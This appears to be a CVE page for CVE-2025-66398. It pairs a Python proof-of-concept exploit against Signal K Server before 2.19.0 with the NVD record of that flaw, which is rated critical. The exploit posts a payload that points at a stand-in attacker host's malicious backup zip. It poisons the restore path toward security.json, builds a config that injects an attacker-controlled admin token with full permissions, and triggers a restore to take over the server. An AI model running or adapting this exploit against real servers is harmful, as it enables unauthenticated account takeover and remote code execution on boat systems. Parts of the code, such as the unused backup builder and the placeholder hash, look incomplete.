CVE-2025-66398

import requests import json # CVE-2025-66398 PoC - Signal K Server State Pollution # Target: Signal K Server < 2.19.0 TARGET = "http://target:3000" ATTACKER_IP = "attacker.com" def pollute_server_state(): """Pollute the restoreFilePath internal state""" endpoint = f"{TARGET}/skServer/validateBackup" # Payload to poison restoreFilePath to point to security.json payload = { "backupUrl": f"http://{ATTACKER_IP}/malicious-backup.zip", "restoreFilePath": "security.json" } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[+] State pollution request sent: {response.status_code}") return response.status_code == 200 except Exception as e: print(f"[-] Request failed: {e}") return False def create_malicious_backup(): """Generate malicious backup with RCE payload""" malicious_config = { "users": { "admin": { "token": "attacker-controlled-token", "passwordHash": "$2a$10$malicious.hash.here", "permissions": ["*"], "__comment": "Injected via CVE-2025-66398 state pollution" } } } return json.dumps(malicious_config) def trigger_restore(): """Trigger admin restore action to overwrite config""" endpoint = f"{TARGET}/skServer/restoreBackup" try: response = requests.post(endpoint, timeout=10) print(f"[+] Restore triggered: {response.status_code}") return response.status_code == 200 except Exception as e: print(f"[-] Restore trigger failed: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-66398 Signal K Server Exploitation") print("[*] Target:", TARGET) if pollute_server_state(): print("[+] Server state successfully polluted") print("[+] Next step: Wait for admin to perform restore operation") print("[+] Or trigger restore if endpoint is accessible")

{"cve": {"id": "CVE-2025-66398", "sourceIdentifier": "[email protected]", "published": "2026-01-01T18:15:40.550", "lastModified": "2026-01-06T18:34:31.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-913"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.19.0", "matchCriteriaId": "102A9593-CCDC-4532-8201-E67EEFC665E0"}]}]}], "references": [{"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}